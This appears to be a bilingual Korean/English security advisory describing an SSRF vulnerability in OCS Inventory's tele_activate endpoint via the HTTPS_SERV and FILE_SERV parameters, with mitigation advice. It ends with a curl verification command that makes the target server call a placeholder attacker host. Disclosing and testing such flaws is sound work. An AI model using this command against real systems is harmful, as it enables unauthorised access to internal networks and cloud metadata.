🇰🇷 한글 설명
/ocsreports/?function=tele_activate 엔드포인트에서 HTTPS_SERV 및 FILE_SERV 매개변수에 대한 검증이 미흡하여 발생하는 SSRF 취약점입니다. 권한을 가진 운영자가 임의의 값을 입력하면 OCS Inventory 서버가 외부 시스템이나 내부 네트워크 리소스로 HTTP/HTTPS 요청을 보내게 되어 내부 서비스나 클라우드 메타데이터에 접근할 수 있습니다.
💡 쉬운 설명
서버가 공격자가 시키는 대로 엉뚱한 곳에 접속하게 만드는 보안 약점입니다. 이를 통해 공격자는 원래 접근할 수 없는 회사 내부 네트워크나 중요한 정보에 접근할 수 있습니다.
🇺🇸 원문 (English)
Server-Side Request Forgery (SSRF) vulnerability in the /ocsreports/?function=tele_activate endpoint due to insufficient validation of the HTTPS_SERV and FILE_SERV parameters. An authenticated user with operator privileges can provide arbitrary values for these parameters, causing the OCS Inventory server to make HTTP/HTTPS requests to external systems or internal resources, which could allow access to internal network services or metadata resources of cloud services.
📍 영향받는 시스템
OCS Inventory (tele_activate 엔드포인트 사용 버전)
⚔️ 공격 벡터
인증된 운영자 권한을 이용한 매개변수(HTTPS_SERV, FILE_SERV) 조작을 통한 SSRF 공격
🛡️ 대응 방법
해당 매개변수에 대한 입력값 검증 로직을 강화하고 최신 보안 패치를 적용하십시오.
🔧 검증 코드
명령어 실행 시 공격자 서버로의 요청 시도가 로그에 남거나 응답 결과에 특정 패턴이 나타나면 취약할 가능성이 있습니다.
curl -s -X POST 'http://<TARGET_IP>/ocsreports/?function=tele_activate' -d 'HTTPS_SERV=http://<ATTACKER_IP>' | grep -i 'error'